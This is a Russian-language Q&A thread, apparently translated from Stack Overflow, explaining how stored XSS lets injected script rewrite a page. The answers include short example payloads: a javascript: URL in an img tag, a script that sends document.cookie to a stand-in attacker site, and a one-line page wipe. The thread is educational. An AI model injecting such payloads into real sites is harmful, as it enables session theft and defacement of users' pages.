XSS: переписать содержимое HTML-страницы? - PullRequest
0 голосов
/ 02 июля 2018

Относительно XSS, Состояния OWASP (вступительный абзац):

Эти сценарии могут даже переписать содержимое HTML-страницы

Как пользователь, я не могу переписать содержимое facebook.com (кроме сообщений на стене, комментариев и т. Д.). Это потребовало бы от меня постоянного изменения их html-файлов, что явно не может сделать ни один пользователь без определенного доступа к серверу.

Когда я не могу сделать это как пользователь, как может злонамеренно внедренный скрипт с facebook.com, выполняемый моим браузером, переписать содержимое facebook.com?

Ответы [ 2 ]

0 голосов
/ 03 июля 2018

Позвольте мне привести пример. Давайте представим, что Facebook позволяет своим пользователям сохранять ссылку на размещенный извне аватар в профиле пользователя. И этот аватар отображается рядом с ником пользователя. Также давайте представим, что Facebook не защищает себя от XSS (это действительно так, но нам нужно это предположение).

Тогда злоумышленник может использовать такой текст вместо ссылки на аватар:

javascript:alert('You are hacked')

HTML-код аватара, отображающий аватар, может выглядеть следующим образом:

<img src="javascript:alert('You are hacked')"></img>

Тогда атакующий увидит это предупреждение, когда откроет свой профиль. Разве это не выглядит очень опасно?

Но будьте осторожны: у Facebook есть лента новостей. Пусть злоумышленник напишет какой-нибудь пост - и все его друзья увидят предупреждение на своей странице новостной ленты.

И для завершения: вместо alert злоумышленник сможет получить файлы cookie пользователя Facebook и отправить их на сайт злоумышленника:

<script>window.location = 'attackerssite.com?cookie=' + document.cookie</script>

И тогда он будет собирать куки жертвы из журнала доступа своего сервера. Теперь это реальная опасность, вы согласны?

Примечание . Здесь я описал сохраненный XSS : это, вероятно, самый опасный тип XSS, который может затронуть сразу многих пользователей. Другие типы XSS (описанные в других ответах на этот вопрос) могут повлиять на текущего пользователя, но это не означает, что они не опасны: например, они могут также украсть куки пользователя.

0 голосов
/ 02 июля 2018

Как пользователь, я не могу переписать содержимое facebook.com

Вы могли бы, если бы Facebook плохо защищал от XSS. Сайты, которые не экранируют сгенерированный пользователем текст для использования в контексте HTML, уязвимы для вставки произвольного скрипта в страницу. Например, ваш пост на Facebook может содержать тег <script>.

Это потребовало бы от меня постоянного изменения их html-файлов, что явно не может сделать ни один пользователь без определенного доступа к серверу.

Нет, вы можете просто изменить страницу на стороне клиента после загрузки вашего вредоносного скрипта. Нет необходимости фактически изменять исходную страницу, чтобы иметь эффект уничтожения страницы. Например:

document.body.innerHTML = '';
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...